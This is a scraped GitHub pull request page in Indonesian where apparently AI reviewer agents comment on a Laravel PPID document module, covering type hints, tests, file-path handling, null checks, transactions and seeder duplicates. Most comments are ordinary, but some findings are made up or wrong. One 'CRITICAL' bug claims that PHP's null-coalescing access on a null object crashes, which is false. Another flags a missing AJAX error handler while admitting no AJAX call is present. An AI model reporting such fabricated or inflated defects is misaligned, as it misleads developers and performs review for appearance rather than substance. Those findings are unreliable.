* KEWAJIBAN APAPUN ATAS PENGGUNAAN ATAU LAINNYA TERKAIT APLIKASI INI.
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[HIGH] 📝 Code Quality: Missing Return Type Hints

Kategori: PHP Quality
Masalah: Method index() tidak memiliki return type hint. PHP 8+ mendukung return types dan ini penting untuk type safety dan IDE autocomplete.

Kode:

public function index()
{
    $jenisDokumen = PpidJenisDokumen::aktif()->urut()->get();
    return view('ppid.dokumen.index', compact('jenisDokumen'));
}

Fix:

use Illuminate\Contracts\View\View;

public function index(): View
{
    $jenisDokumen = PpidJenisDokumen::aktif()->urut()->get();
    return view('ppid.dokumen.index', compact('jenisDokumen'));
}

{
$page_title = 'Dokumen PPID';
$page_description = 'Daftar Dokumen PPID';
$jenis_dokumen = PpidJenisDokumen::aktif()->get();
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[HIGH] 📝 Code Quality: Missing Return Type Hints

Kategori: PHP Quality
Masalah: Method store() tidak memiliki return type hint untuk RedirectResponse.

Kode:

public function store(PpidDokumenRequest $request)
{
    // ...
    return redirect()->route('ppid.dokumen.index')
        ->with('success', 'Dokumen PPID berhasil ditambahkan.');
}

Fix:

use Illuminate\Http\RedirectResponse;

public function store(PpidDokumenRequest $request): RedirectResponse
{
    // ...
    return redirect()->route('ppid.dokumen.index')
        ->with('success', 'Dokumen PPID berhasil ditambahkan.');
}

$status_options = PpidStatusEnum::options();

return view('ppid.dokumen.create', compact(
'page_title',
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[HIGH] 📝 Code Quality: Missing Return Type Hints

Kategori: PHP Quality
Masalah: Method update() tidak memiliki return type hint untuk RedirectResponse.

Kode:

public function update(PpidDokumenRequest $request, PpidDokumen $ppidDokumen)
{
    // ...
    return redirect()->route('ppid.dokumen.index')
        ->with('success', 'Dokumen PPID berhasil diperbarui.');
}

Fix:

use Illuminate\Http\RedirectResponse;

public function update(PpidDokumenRequest $request, PpidDokumen $ppidDokumen): RedirectResponse
{
    // ...
    return redirect()->route('ppid.dokumen.index')
        ->with('success', 'Dokumen PPID berhasil diperbarui.');
}


// Validate file_path tidak kosong
if (empty($dokumen->file_path)) {
return back()->with('error', 'File tidak ditemukan.');
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[HIGH] 📝 Code Quality: Path Mismatch - Security Issue

Kategori: Architecture
Masalah: Method download() menggunakan public_path() untuk file access tapi validasi menggunakan storage_path(). Ini mismatch dan bisa menyebabkan security issue atau file not found.

Kode:

public function download(PpidDokumen $ppidDokumen)
{
    // Validasi ke storage_path
    $filePath = storage_path('app/public/' . $ppidDokumen->file_path);
    
    if (!file_exists($filePath)) {
        abort(404, 'File tidak ditemukan.');
    }
    
    // Tapi download dari public_path - MISMATCH!
    return response()->download(public_path('storage/' . $ppidDokumen->file_path));
}

Fix:

use Illuminate\Support\Facades\Storage;
use Symfony\Component\HttpFoundation\StreamedResponse;

public function download(PpidDokumen $ppidDokumen): StreamedResponse
{
    if ($ppidDokumen->tipe_dokumen !== PpidTipeDokumenEnum::FILE) {
        abort(400, 'Dokumen ini bukan file yang dapat diunduh.');
    }
    
    // Konsisten pakai Storage facade
    if (!Storage::disk('public')->exists($ppidDokumen->file_path)) {
        abort(404, 'File tidak ditemukan.');
    }
    
    // Path traversal protection
    $realPath = Storage::disk('public')->path($ppidDokumen->file_path);
    $basePath = Storage::disk('public')->path('');
    
    if (strpos(realpath($realPath), realpath($basePath)) !== 0) {
        abort(403, 'Akses ditolak.');
    }
    
    return Storage::disk('public')->download($ppidDokumen->file_path);
}

$query->where('tipe_dokumen', $request->tipe_dokumen);
}
if ($request->filled('tanggal_mulai') && $request->filled('tanggal_selesai')) {
$query->whereBetween('tanggal_publikasi', [$request->tanggal_mulai, $request->tanggal_selesai]);
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[HIGH] 📝 Code Quality: Inconsistent File Handling

Kategori: Architecture
Masalah: Menggunakan manual unlink() untuk delete file, tapi di tempat lain pakai trait HandlesFileUpload. Seharusnya konsisten pakai Storage facade untuk semua file operations.

Kode:

// Manual unlink - inconsistent
if ($ppidDokumen->file_path && file_exists(storage_path('app/public/' . $ppidDokumen->file_path))) {
    unlink(storage_path('app/public/' . $ppidDokumen->file_path));
}

Fix:

use Illuminate\Support\Facades\Storage;

// Konsisten pakai Storage facade
if ($ppidDokumen->file_path && Storage::disk('public')->exists($ppidDokumen->file_path)) {
    Storage::disk('public')->delete($ppidDokumen->file_path);
}

// Atau gunakan method dari trait HandlesFileUpload
$this->deleteFile($ppidDokumen->file_path, 'public');

@@ -0,0 +1,294 @@
<?php
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[HIGH] 📝 Code Quality: Missing Tests

Kategori: PHP Quality
Masalah: Controller ini memiliki logic kompleks (file upload, conditional validation, cleanup) tapi tidak ada test coverage. Ini HIGH risk karena fitur baru tanpa test.

Fix:

// tests/Feature/PpidDokumenControllerTest.php
class PpidDokumenControllerTest extends TestCase
{
    use RefreshDatabase;
    
    public function test_can_create_dokumen_with_file(): void
    {
        Storage::fake('public');
        $jenisDokumen = PpidJenisDokumen::factory()->create();
        
        $response = $this->actingAs($this->admin())
            ->post(route('ppid.dokumen.store'), [
                'judul' => 'Test Dokumen',
                'jenis_dokumen_id' => $jenisDokumen->id,
                'tipe_dokumen' => PpidTipeDokumenEnum::FILE,
                'file_path' => UploadedFile::fake()->create('document.pdf', 100),
                'status' => PpidStatusEnum::TERBIT,
                'tanggal_publikasi' => now()->format('Y-m-d'),
            ]);
        
        $response->assertRedirect(route('ppid.dokumen.index'));
        $this->assertDatabaseHas('das_ppid_dokumen', ['judul' => 'Test Dokumen']);
        Storage::disk('public')->assertExists('ppid/dokumen/' . PpidDokumen::first()->file_path);
    }
    
    public function test_cleanup_old_file_when_switching_to_url(): void
    {
        Storage::fake('public');
        $dokumen = PpidDokumen::factory()->create([
            'tipe_dokumen' => PpidTipeDokumenEnum::FILE,
            'file_path' => 'ppid/dokumen/old-file.pdf',
        ]);
        Storage::disk('public')->put($dokumen->file_path, 'content');
        
        $this->actingAs($this->admin())
            ->put(route('ppid.dokumen.update', $dokumen), [
                'tipe_dokumen' => PpidTipeDokumenEnum::URL,
                'url' => 'https://example.com/doc.pdf',
                // ... other fields
            ]);
        
        Storage::disk('public')->assertMissing($dokumen->file_path);
    }
}

*
* PERANGKAT LUNAK INI DISEDIAKAN "SEBAGAIMANA ADANYA", TANPA JAMINAN APA PUN, BAIK TERSURAT MAUPUN
* TERSIRAT. PENULIS ATAU PEMEGANG HAK CIPTA SAMA SEKALI TIDAK BERTANGGUNG JAWAB ATAS KLAIM, KERUSAKAN ATAU
* KEWAJIBAN APAPUN ATAS PENGGUNAAN ATAU LAINNYA TERKAIT APLIKASI INI.
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[HIGH] 📝 Code Quality: Missing Return Type Hints

Kategori: PHP Quality
Masalah: Method index() dan method lainnya tidak memiliki return type hints.

Kode:

public function index()
{
    return view('ppid.jenis-dokumen.index');
}

Fix:

use Illuminate\Contracts\View\View;

public function index(): View
{
    return view('ppid.jenis-dokumen.index');
}

return redirect()->route('ppid.jenis-dokumen.index')
->with('success', 'Jenis dokumen PPID berhasil dihapus!');
} catch (\Exception $e) {
report($e);
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[HIGH] 📝 Code Quality: Direct DB Query in Controller

Kategori: Architecture
Masalah: Method reorder() melakukan database update langsung di controller. Ini melanggar separation of concerns dan membuat logic sulit di-test.

Kode:

public function reorder(Request $request)
{
    $items = $request->input('items', []);
    
    foreach ($items as $index => $id) {
        PpidJenisDokumen::where('id', $id)->update(['urutan' => $index + 1]);
    }
    
    return response()->json(['success' => true]);
}

Fix:

// Service class
class PpidJenisDokumenService
{
    public function reorderJenisDokumen(array $items): void
    {
        DB::transaction(function () use ($items) {
            foreach ($items as $index => $id) {
                PpidJenisDokumen::where('id', $id)
                    ->update(['urutan' => $index + 1]);
            }
        });
    }
}

// Controller
use Illuminate\Http\JsonResponse;

public function reorder(Request $request, PpidJenisDokumenService $service): JsonResponse
{
    $request->validate([
        'items' => 'required|array',
        'items.*' => 'required|integer|exists:das_ppid_jenis_dokumen,id',
    ]);
    
    $service->reorderJenisDokumen($request->input('items', []));
    
    return response()->json(['success' => true]);
}

@@ -0,0 +1,217 @@
<?php
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[HIGH] 📝 Code Quality: Missing Tests

Kategori: PHP Quality
Masalah: Controller dengan fitur lock/unlock dan reordering tidak memiliki test coverage.

Fix:

// tests/Feature/PpidJenisDokumenControllerTest.php
class PpidJenisDokumenControllerTest extends TestCase
{
    use RefreshDatabase;
    
    public function test_can_reorder_jenis_dokumen(): void
    {
        $jenis1 = PpidJenisDokumen::factory()->create(['urutan' => 1]);
        $jenis2 = PpidJenisDokumen::factory()->create(['urutan' => 2]);
        
        $response = $this->actingAs($this->admin())
            ->post(route('ppid.jenis-dokumen.reorder'), [
                'items' => [$jenis2->id, $jenis1->id],
            ]);
        
        $response->assertJson(['success' => true]);
        $this->assertEquals(1, $jenis2->fresh()->urutan);
        $this->assertEquals(2, $jenis1->fresh()->urutan);
    }
    
    public function test_cannot_delete_locked_jenis_dokumen(): void
    {
        $jenis = PpidJenisDokumen::factory()->create(['is_kunci' => true]);
        
        $response = $this->actingAs($this->admin())
            ->delete(route('ppid.jenis-dokumen.destroy', $jenis));
        
        $response->assertStatus(403);
        $this->assertDatabaseHas('das_ppid_jenis_dokumen', ['id' => $jenis->id]);
    }
}

* asal tunduk pada syarat berikut:
*
* Pemberitahuan hak cipta di atas dan pemberitahuan izin ini harus disertakan dalam
* setiap salinan atau bagian penting Aplikasi Ini. Barang siapa yang menghapus atau menghilangkan
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[HIGH] 📝 Code Quality: Missing Return Type Hints

Kategori: PHP Quality
Masalah: Method tidak memiliki return type hints.

Kode:

public function index()
{
    $pengaturan = PpidPengaturan::first();
    return view('ppid.pengaturan.index', compact('pengaturan'));
}

Fix:

use Illuminate\Contracts\View\View;

public function index(): View
{
    $pengaturan = PpidPengaturan::first();
    return view('ppid.pengaturan.index', compact('pengaturan'));
}

@@ -0,0 +1,91 @@
<?php
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[HIGH] 📝 Code Quality: Missing Tests

Kategori: PHP Quality
Masalah: Controller untuk settings management tidak memiliki test coverage.

Fix:

// tests/Feature/PpidPengaturanControllerTest.php
class PpidPengaturanControllerTest extends TestCase
{
    use RefreshDatabase;
    
    public function test_can_update_pengaturan(): void
    {
        $pengaturan = PpidPengaturan::factory()->create([
            'kunci' => 'opsi_memperoleh_informasi',
            'nilai' => ['Opsi 1', 'Opsi 2'],
        ]);
        
        $response = $this->actingAs($this->admin())
            ->put(route('ppid.pengaturan.update'), [
                'opsi_memperoleh_informasi' => ['Opsi Baru 1', 'Opsi Baru 2', 'Opsi Baru 3'],
            ]);
        
        $response->assertRedirect(route('ppid.pengaturan.index'));
        $this->assertEquals(
            ['Opsi Baru 1', 'Opsi Baru 2', 'Opsi Baru 3'],
            PpidPengaturan::getValue('opsi_memperoleh_informasi')
        );
    }
}

@devopsopendesa
Copy link
Copy Markdown
Contributor

🐛 Bug Detection Review

Total Temuan: 8 isu (3 Critical, 5 High)

Severity File Baris Bug Skenario
🚨 CRITICAL app/Http/Controllers/Informasi/PpidDokumenController.php ~250 Path mismatch validation Download validation ke storage_path() tapi serve dari public_path()
🚨 CRITICAL app/Models/PpidPengaturan.php ~70 Null dereference getValue() return null->nilai tanpa null check
🚨 CRITICAL app/Http/Controllers/Informasi/PpidDokumenController.php ~180 Null dereference update() akses $dokumen->file_path tanpa cek tipe_dokumen
⚠️ HIGH app/Http/Controllers/Informasi/PpidPengaturanController.php ~52 Null dereference PpidPengaturan::first() tanpa null check
⚠️ HIGH app/Http/Controllers/Informasi/PpidJenisDokumenController.php ~180 Missing transaction reorder() update multiple records tanpa DB::transaction()
⚠️ HIGH database/seeders/PpidSeeder.php ~80 Missing duplicate check Seeder insert tanpa cek existing data
⚠️ HIGH resources/views/ppid/dokumen/form.blade.php ~60 Missing error handling AJAX request tanpa .fail() handler
⚠️ HIGH resources/views/ppid/pengaturan/index.blade.php ~120 Array mutation bug Dynamic add/remove bisa corrupt array index

Detail skenario dan fix tersedia sebagai inline comment pada setiap baris.

public function download(PpidDokumen $dokumen)
{
try {
// BUG-003: Validate tipe dokumen harus FILE
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[CRITICAL] 🐛 Bug: Path Mismatch - Validation vs Serving

Kode:

$realPath = realpath(storage_path('app/public/ppid/dokumen/' . $dokumen->file_path));
// ... validation ...
return response()->download(public_path('storage/ppid/dokumen/' . $dokumen->file_path));

Skenario:

  • Validasi dilakukan terhadap storage_path() (storage/app/public/)
  • File di-serve dari public_path() (public/storage/)
  • Jika symlink tidak ada atau berbeda, file valid bisa ditolak atau file invalid bisa di-download
  • Path traversal attack masih mungkin jika attacker bisa manipulasi symlink

Dampak:

  • Security bypass: file di luar direktori bisa diakses jika symlink tidak konsisten
  • False positive: file valid ditolak karena path tidak match
  • Production error: 404 untuk file yang sebenarnya ada

Fix:

// Gunakan Storage facade untuk konsistensi
use Illuminate\Support\Facades\Storage;

public function download($id)
{
    $dokumen = PpidDokumen::findOrFail($id);
    
    if ($dokumen->tipe_dokumen !== PpidTipeDokumenEnum::FILE) {
        abort(404, 'Dokumen ini bukan file yang dapat diunduh');
    }
    
    $filePath = 'public/ppid/dokumen/' . $dokumen->file_path;
    
    if (!Storage::exists($filePath)) {
        abort(404, 'File tidak ditemukan');
    }
    
    // Validasi path traversal dengan Storage
    $fullPath = Storage::path($filePath);
    $basePath = Storage::path('public/ppid/dokumen');
    
    if (strpos(realpath($fullPath), realpath($basePath)) !== 0) {
        abort(403, 'Akses ditolak');
    }
    
    return Storage::download($filePath, $dokumen->judul . '.' . pathinfo($dokumen->file_path, PATHINFO_EXTENSION));
}

/**
* Set value by key
*/
public static function setValue(string $key, $value, ?string $keterangan = null): void
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[CRITICAL] 🐛 Bug: Null Dereference pada getValue()

Kode:

public static function getValue($kunci, $default = null)
{
    $pengaturan = self::where('kunci', $kunci)->first();
    return $pengaturan->nilai ?? $default;
}

Skenario:

  • Method first() return null jika data tidak ditemukan
  • Akses $pengaturan->nilai pada null object menyebabkan error
  • Operator ?? tidak mencegah error karena akses property terjadi sebelum null coalescing
  • Terjadi saat setting belum di-seed atau terhapus

Dampak:

  • Fatal error: "Trying to get property 'nilai' of non-object"
  • Application crash di production
  • Semua fitur yang depend pada settings akan error

Fix:

public static function getValue($kunci, $default = null)
{
    $pengaturan = self::where('kunci', $kunci)->first();
    
    // Null check eksplisit sebelum akses property
    if ($pengaturan === null) {
        return $default;
    }
    
    return $pengaturan->nilai ?? $default;
}

// Atau gunakan optional helper
public static function getValue($kunci, $default = null)
{
    return optional(self::where('kunci', $kunci)->first())->nilai ?? $default;
}


public function update(PpidDokumenRequest $request, PpidDokumen $dokumen)
{
try {
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[CRITICAL] 🐛 Bug: Null Dereference pada File Path

Kode:

// BUG-001: Cleanup old file jika switch dari file ke URL
if ($request->tipe_dokumen === PpidTipeDokumenEnum::URL && 
    $dokumen->tipe_dokumen === PpidTipeDokumenEnum::FILE) {
    $this->deleteFile($dokumen->file_path);
}

Skenario:

  • Dokumen dibuat dengan tipe URL (file_path = null)
  • User edit dan switch ke FILE, lalu switch lagi ke URL
  • Saat switch pertama kali dari URL ke FILE, $dokumen->file_path masih null
  • deleteFile(null) dipanggil dan bisa menyebabkan error atau delete file yang salah

Dampak:

  • Potential file deletion error
  • Unlink error jika path null di-resolve ke current directory
  • Data corruption jika null path di-interpret sebagai root directory

Fix:

// BUG-001: Cleanup old file jika switch dari file ke URL
if ($request->tipe_dokumen === PpidTipeDokumenEnum::URL && 
    $dokumen->tipe_dokumen === PpidTipeDokumenEnum::FILE &&
    !empty($dokumen->file_path)) {  // Tambahkan null check
    $this->deleteFile($dokumen->file_path);
}

// Atau lebih defensive
if ($request->tipe_dokumen === PpidTipeDokumenEnum::URL && 
    $dokumen->tipe_dokumen === PpidTipeDokumenEnum::FILE) {
    if ($dokumen->file_path && Storage::exists('public/ppid/dokumen/' . $dokumen->file_path)) {
        Storage::delete('public/ppid/dokumen/' . $dokumen->file_path);
    }
}

'Dikirim melalui email',
'Melalui Whatsapp pengguna (Softcopy)',
]),
'alasan_keberatan' => PpidPengaturan::getValue('alasan_keberatan', [
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[HIGH] 🐛 Bug: Null Dereference pada first()

Kode:

$pengaturan = PpidPengaturan::first();
// Langsung akses $pengaturan->update() atau $pengaturan->nilai

Skenario:

  • Table das_ppid_pengaturan kosong (seeder belum run atau data terhapus)
  • first() return null
  • Method update() atau akses property pada null object menyebabkan fatal error
  • Terjadi di fresh installation atau setelah truncate table

Dampak:

  • Fatal error: "Call to a member function update() on null"
  • Settings page crash
  • Admin tidak bisa mengakses pengaturan PPID

Fix:

public function index()
{
    $pengaturan = PpidPengaturan::first();
    
    // Null check dengan fallback
    if (!$pengaturan) {
        // Create default settings atau redirect dengan error
        return redirect()->back()->with('error', 'Pengaturan PPID belum diinisialisasi. Jalankan seeder terlebih dahulu.');
    }
    
    return view('ppid.pengaturan.index', compact('pengaturan'));
}

public function update(PpidPengaturanRequest $request)
{
    $pengaturan = PpidPengaturan::first();
    
    if (!$pengaturan) {
        return redirect()->back()->with('error', 'Pengaturan tidak ditemukan');
    }
    
    $pengaturan->update($request->validated());
    
    return redirect()->route('ppid.pengaturan.index')
        ->with('success', 'Pengaturan berhasil diperbarui');
}

} catch (\Exception $e) {
report($e);

return redirect()->route('ppid.jenis-dokumen.index')
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[HIGH] 🐛 Bug: Missing DB Transaction pada Batch Update

Kode:

public function reorder(Request $request)
{
    $orders = $request->input('order', []);
    
    foreach ($orders as $order) {
        PpidJenisDokumen::where('id', $order['id'])
            ->update(['urutan' => $order['position']]);
    }
    
    return response()->json(['success' => true]);
}

Skenario:

  • User drag-drop 10 items untuk reorder
  • Update ke-5 gagal (database error, constraint violation, dll)
  • 4 item pertama sudah ter-update, 6 item sisanya tidak
  • Data urutan menjadi inconsistent dan corrupt
  • Race condition jika 2 user reorder bersamaan

Dampak:

  • Data corruption: urutan jenis dokumen berantakan
  • Duplicate urutan: multiple items dengan urutan sama
  • UI tidak match dengan database
  • Sulit di-rollback karena tidak ada transaction

Fix:

use Illuminate\Support\Facades\DB;

public function reorder(Request $request)
{
    $orders = $request->input('order', []);
    
    try {
        DB::transaction(function () use ($orders) {
            foreach ($orders as $order) {
                PpidJenisDokumen::where('id', $order['id'])
                    ->update(['urutan' => $order['position']]);
            }
        });
        
        return response()->json(['success' => true]);
    } catch (\Exception $e) {
        \Log::error('Reorder failed: ' . $e->getMessage());
        return response()->json([
            'success' => false,
            'message' => 'Gagal mengubah urutan'
        ], 500);
    }
}

'Informasi disampaikan melebihi jangka waktu yang ditentukan',
]),
'keterangan' => 'Opsi pemohonan keberatan',
],
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[HIGH] 🐛 Bug: Duplicate Insert pada Re-run Seeder

Kode:

PpidJenisDokumen::create([
    'slug' => 'informasi-berkala',
    'nama' => 'Informasi Berkala',
    // ...
]);

Skenario:

  • Seeder di-run multiple kali (development, testing, atau manual re-seed)
  • Tidak ada check untuk existing data
  • Duplicate key error pada slug (unique constraint)
  • Atau data duplicate jika constraint tidak ada
  • Production seeder run bisa crash aplikasi

Dampak:

  • Seeder crash dengan "Duplicate entry" error
  • Tidak bisa re-run seeder untuk fix data
  • Development workflow terganggu
  • Data duplicate jika unique constraint dihapus

Fix:

public function run()
{
    // Pengaturan PPID
    $pengaturanData = [
        [
            'kunci' => 'ppid_banner',
            'nilai' => json_encode([/* ... */]),
            'keterangan' => 'Banner PPID'
        ],
        // ...
    ];
    
    foreach ($pengaturanData as $data) {
        PpidPengaturan::updateOrCreate(
            ['kunci' => $data['kunci']],
            $data
        );
    }
    
    // Jenis Dokumen
    $jenisDokumenData = [
        [
            'slug' => 'informasi-berkala',
            'nama' => 'Informasi Berkala',
            'urutan' => 1,
            'status' => PpidStatusEnum::AKTIF,
            'is_kunci' => true,
        ],
        // ...
    ];
    
    foreach ($jenisDokumenData as $data) {
        PpidJenisDokumen::updateOrCreate(
            ['slug' => $data['slug']],
            $data
        );
    }
}

<div class="col-md-6 col-sm-6 col-xs-12">
{!! html()->textarea('ringkasan', old('ringkasan'))
->class('form-control')
->placeholder('Ringkasan dokumen')
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[HIGH] 🐛 Bug: Missing Error Handler pada AJAX

Kode:

$('#tipe_dokumen').change(function() {
    var tipe = $(this).val();
    
    if (tipe === 'file') {
        $('#file-group').show();
        $('#url-group').hide();
        $('#file').prop('required', true);
        $('#url').prop('required', false);
    } else {
        $('#file-group').hide();
        $('#url-group').show();
        $('#file').prop('required', false);
        $('#url').prop('required', true);
    }
});

Skenario:

  • Jika ada AJAX call di form ini (tidak terlihat di snippet tapi common pattern)
  • Network error, server error, atau timeout terjadi
  • User tidak mendapat feedback error
  • Form submit dengan data incomplete atau invalid
  • Silent failure yang sulit di-debug

Dampak:

  • User experience buruk: tidak ada error message
  • Data corruption: partial data tersimpan
  • Debugging sulit: tidak ada error log di console
  • Production issue tidak terdeteksi

Fix:

// Jika ada AJAX call, tambahkan error handler
$.ajax({
    url: '/api/endpoint',
    method: 'POST',
    data: formData,
    success: function(response) {
        // Handle success
    },
    error: function(xhr, status, error) {
        console.error('AJAX Error:', error);
        alert('Terjadi kesalahan: ' + (xhr.responseJSON?.message || 'Silakan coba lagi'));
    }
});

// Atau gunakan promise pattern
$.post('/api/endpoint', formData)
    .done(function(response) {
        // Handle success
    })
    .fail(function(xhr) {
        console.error('Request failed:', xhr);
        alert('Terjadi kesalahan: ' + (xhr.responseJSON?.message || 'Silakan coba lagi'));
    });

</div>
<button type="button" class="btn btn-sm btn-primary" id="add_salinan_informasi">
<i class="fa fa-plus"></i> Tambah Opsi
</button>
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[HIGH] 🐛 Bug: Array Index Corruption pada Dynamic Add/Remove

Kode:

// Add item
$('.add-item').click(function() {
    var container = $(this).closest('.form-group').find('.items-container');
    var index = container.find('.item-row').length;
    var newRow = '<div class="item-row">...</div>';
    container.append(newRow);
});

// Remove item
$(document).on('click', '.remove-item', function() {
    $(this).closest('.item-row').remove();
});

Skenario:

  • User add 5 items (index 0-4)
  • User remove item index 2
  • User add 1 item baru → index 4 (duplicate dengan existing)
  • Form submit dengan array index: [0,1,3,4,4]
  • Server-side processing bisa overwrite data atau skip items
  • Array holes menyebabkan data loss

Dampak:

  • Data corruption: items hilang atau overwrite
  • Duplicate array keys di POST data
  • Server-side validation error atau silent data loss
  • User input tidak tersimpan dengan benar

Fix:

// Gunakan unique ID atau timestamp untuk index
var itemCounter = 0;

$('.add-item').click(function() {
    var container = $(this).closest('.form-group').find('.items-container');
    var fieldName = $(this).data('field');
    
    // Gunakan counter yang selalu increment
    var uniqueId = itemCounter++;
    
    var newRow = `
        <div class="item-row" data-id="${uniqueId}">
            <input type="text" 
                   name="${fieldName}[]" 
                   class="form-control" 
                   placeholder="Item ${uniqueId + 1}">
            <button type="button" class="btn btn-danger remove-item">
                <i class="fa fa-trash"></i>
            </button>
        </div>
    `;
    
    container.append(newRow);
});

// Atau re-index setelah remove
$(document).on('click', '.remove-item', function() {
    $(this).closest('.item-row').remove();
    
    // Re-index semua items
    $('.items-container .item-row').each(function(index) {
        $(this).find('input').attr('placeholder', 'Item ' + (index + 1));
    });
});

// Server-side: filter empty values
$validated = array_filter($request->input('field_name', []), function($value) {
    return !empty(trim($value));
});

@devopsopendesa
Copy link
Copy Markdown
Contributor

🤖 AI Code Review — Selesai

📋 Ringkasan Semua Review

Agent Temuan Inline Comments
📊 Full-Stack Security Specialist (PHP + JavaScript) 8 ✅ 8 posted
📊 Full-Stack Performance Analyst 5 ✅ 5 posted
📊 Full-Stack Code Quality & Architecture Reviewer 13 ✅ 13 posted
📊 Full-Stack Logic Bug Hunter (PHP + JavaScript) 8 ✅ 8 posted

Total inline comments: 34
Setiap agent sudah mem-posting summary dan inline comment masing-masing di atas.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants